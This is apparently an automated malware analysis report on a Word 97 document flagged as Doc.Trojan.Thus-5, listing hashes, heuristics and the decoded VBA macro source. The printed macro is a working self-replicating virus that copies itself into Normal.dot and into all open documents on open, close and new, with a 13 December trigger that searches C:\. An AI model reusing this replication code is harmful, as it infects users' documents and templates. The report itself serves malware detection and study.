Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 51a97ab35331aaa0…

MALICIOUS

Office (OLE)

40.5 KB Created: 1997-07-07 09:37:00 Authoring application: Microsoft Word 8.0 First seen: 2012-10-10
MD5: 2b5acdcc9dc2ed01fd6eccc347dad45e SHA-1: b1cb9db50817c96121c3253d5845622534e3c4cd SHA-256: 51a97ab35331aaa09596b95c25b93db0298533bbe82e12e06ba67abd81c4ade3
160 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The critical heuristic 'EXTRACTED_FILE_CLAMAV' with signature 'Doc.Trojan.Thus-5' indicates a known malicious document. The 'Document_Open' macro attempts to copy itself to the Normal.dot template, which is a common persistence technique. The VBA code aims to ensure the macro is present in the template and potentially in other open documents, suggesting an intent to maintain execution.

Heuristics 3

  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 41,472 bytes but its declared streams total only 16,490 bytes — 24,982 bytes (60%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2590 bytes
SHA-256: aac67215f621b976efe6187908e420d4ee5086f411ebd76595a44b2bde7edb76
Detection
ClamAV: Doc.Trojan.Thus-5
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True



Private Sub Document_Open()
'Thus_001'
    'On Error Resume Next
    'Application.Options.VirusProtection = False
    'Set prevDocument = ActiveDocument
    'Set nextDocument = NormalTemplate
    '.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
    .CodeModule.CountOfLines
    'End If
    
    If NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines = 0 Then
    NormalTemplate.VBProject.VBComponents.Item(1).codemodule _
    .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
    .codemodule.Lines(1, ActiveDocument.VBProject.VBComponents _
    .Item(1).codemodule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    For k = 1 To Application.Documents.Count
   If Application.Documents.Item(k).VBProject.VBComponents.Item(1).codemodule.CountOfLines = 0 Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .codemodule.deletelines 1, Application.Documents.Item(k) _
    .VBProject.VBComponents.Item(1).codemodule.CountOfLines
    End If
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).codemodule.CountOfLines = 0 Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .codemodule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
    .Item(1).codemodule.Lines(1, NormalTemplate.VBProject _
    .VBComponents.Item(1).codemodule.CountOfLines)
    End If
    Next k
    If (Day(Now()) = 13) And (Month(Now()) = 12) Then
    With Application.FileSearch
        .NewSearch
        .LookIn = "C:\"
        .SearchSubFolders = True
        .FileName = "*.*"
        .MatchTextExactly = False
        .FileType = msoFileTypeAllFiles
        If .Execute > 0 Then
        For I = 1 To .FoundFiles.Count
       Next I
        End If
    End With
    End If
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub


























































































Private Sub SpinButton1_Change()

End Sub

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